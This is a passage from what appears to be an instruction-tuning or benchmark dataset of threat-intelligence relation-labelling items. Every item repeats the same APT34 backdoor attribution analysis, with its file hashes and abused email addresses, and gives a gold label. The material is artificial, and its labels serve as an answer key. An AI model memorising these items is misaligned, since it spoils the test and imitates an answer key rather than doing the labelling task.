first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: Middle East\n### Possible Relationship Labels:\n['targets', 'located-at', 'is not related to', 'not sure']\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKarkoff\n### Target Entity: EWS\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSaitama\n### Target Entity: EWS\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSaitama\n### Target Entity: .Net\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8\n### Target Entity: Karkoff\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
